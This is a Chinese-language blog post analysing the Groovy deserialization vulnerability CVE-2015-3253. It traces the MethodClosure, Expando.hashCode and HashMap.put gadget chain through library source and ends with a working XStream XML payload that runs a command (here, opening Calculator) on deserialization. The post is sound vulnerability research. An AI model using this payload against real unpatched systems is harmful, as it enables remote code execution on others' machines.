Groovy Deserialization(groovy.util.Expando)CVE-2015-3253
langu_xyz

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3253

影响版本(1.7.0~2.4.3)

调用链分析

MethodClosure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class MethodClosure extends Closure {
private String method;

public MethodClosure(Object owner, String method) {
super(owner);
this.method = method;
Class clazz = owner.getClass() == Class.class ? (Class)owner : owner.getClass();
this.maximumNumberOfParameters = 0;
this.parameterTypes = new Class[0];
List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);
Iterator i$ = methods.iterator();

while(i$.hasNext()) {
MetaMethod m = (MetaMethod)i$.next();
if (m.getParameterTypes().length > this.maximumNumberOfParameters) {
Class[] pt = m.getNativeParameterTypes();
this.maximumNumberOfParameters = pt.length;
this.parameterTypes = pt;
}
}

}

public String getMethod() {
return this.method;
}

protected Object doCall(Object arguments) {
return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments);
}

doCall()作用应该是执行构件好的对象(this.getOwner())的方法(this.method)

invokeMethod

1
2
3
4
5
6
7
8
9
10
11
12
13
public static Object invokeMethod(Object object, String methodName, Object arguments) {
if (object == null) {
object = NullObject.getNullObject();
}

if (object instanceof Class) {
Class theClass = (Class)object;
MetaClass metaClass = metaRegistry.getMetaClass(theClass);
return metaClass.invokeStaticMethod(object, methodName, asArray(arguments));
} else {
return !(object instanceof GroovyObject) ? invokePojoMethod(object, methodName, arguments) : invokePogoMethod(object, methodName, arguments);
}
}

调用指定对象的指定方法
所以可以利用这个方法来执行命令

1
MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open","/Applications/Calculator.app"), "start").call();

通过java.lang.ProcessBuilder对象的start方法执行open命令

根据上边的分析,MethodClosure.call() == "command".execute()

找到了存在缺陷的方法,接下来就要看有哪些地方调用了这个方法
断点调试call()可以看到被hashcode()调用了

1
2
3
4
5
6
7
8
9
10
11
public int hashCode() {
Object method = this.getProperties().get("hashCode");
if (method != null && method instanceof Closure) {
Closure closure = (Closure)method;
closure.setDelegate(this);
Integer ret = (Integer)closure.call();
return ret.intValue();
} else {
return super.hashCode();
}
}

hashCode的功能和特性

如果两个对象相同,那么它们的hashCode  值一定要相同
如果两个对象的hashCode相同,它们并不一定相同     
上面说的对象相同指的是用eqauls方法比较

所以当两个对象进行比较时,会调用hashcode和eqauls,如果结果一致则相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public V put(K key, V value) {
if (table == EMPTY_TABLE) {
inflateTable(threshold);
}
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

put方法是用来向HashMap中添加新的元素,从put方法的具体实现可知,会先调用hashCode方法得到该元素的hashCode值,然后查看table中是否存在该hashCode值,如果存在则调用equals方法重新确定是否存在该元素,如果存在,则更新value值,否则将新的元素添加到HashMap中

所以当把我们构造的代码添加进去时,put就会调用hashcode进行比较,进而执行代码

1
2
3
public void setProperty(String property, Object newValue) {
this.getProperties().put(property, newValue);
}

Object method = this.getProperties().get("hashCode")自定义hashcode,调用setProperty可以绑定hashcode属性
closure.call()注定了hashCode必须是Closure或者其子类才能最终调用call函数,MethodClosure类恰好是Closure的子类

然后通过调用hashcode的put方法即可执行构造的代码

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<map> 
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>

参考:
https://www.iswin.org/2016/02/27/Xstream-Deserializable-Vulnerablity-And-Groovy-CVE-2015-3253/
http://avfisher.win/archives/tag/groovy

  • Post title:Groovy Deserialization(groovy.util.Expando)CVE-2015-3253
  • Post author:langu_xyz
  • Create time:2018-06-21 21:00:00
  • Post link:https://blog.langu.xyz/Groovy Deserialization(groovy.util.Expando)CVE-2015-3253/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.